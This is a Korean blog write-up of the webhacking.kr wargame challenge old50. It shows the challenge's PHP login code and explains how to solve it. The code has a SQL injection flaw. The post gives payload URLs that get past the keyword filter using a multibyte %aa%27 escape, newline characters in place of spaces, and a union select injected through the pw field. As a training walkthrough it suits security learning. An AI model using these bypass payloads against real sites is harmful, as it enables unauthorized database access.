webhacking.kr - old50
2021. 4. 14. 11:13ㆍWarGame/webhaking.kr
처음에 문제 화면을 접속해보면 위와 같이 sqli 를 유도하는 문제를 확인할 수 있습니다.
소스코드를 확인해보면
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit> <input type=reset>
</form>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
LV 를 3으로 만들어 줘야 합니다.
LV3으로 만들기 위해 필터리을 우외해서 아래처럼
https://webhacking.kr/challenge/web-25/?id=a%aa%27||lv%0alike%aa%27%0a3%aa%27#
[
Challenge 50
webhacking.kr
](https://webhacking.kr/challenge/web-25/?id=a%aa%27%7C%7Clv%0alike%aa%27%0a3%aa%27#)
쿼리를 짜줬지만 동작하지 않았습니다.
아마 테이블에 3이라는 숫자가 존재하지 않는 것 같기에 union을 활용해서 아래처럼 3을 직접 넣어줬습니다.
https://webhacking.kr/challenge/web-25/?id=123%aa%27&pw=union%0aselect%0a3%23
위와 같이 pay를 작성하면 solve가 가능합니다 :)
'WarGame > webhaking.kr' 카테고리의 다른 글
webhacking.kr - old29 (0) | 2021.04.16 |
---|---|
webhacking.kr - old45 (0) | 2021.04.15 |
webhacking.kr - old28 (0) | 2021.04.13 |
webhacking.kr - old55 (0) | 2021.04.12 |
webhacking.kr - old22 (0) | 2021.04.11 |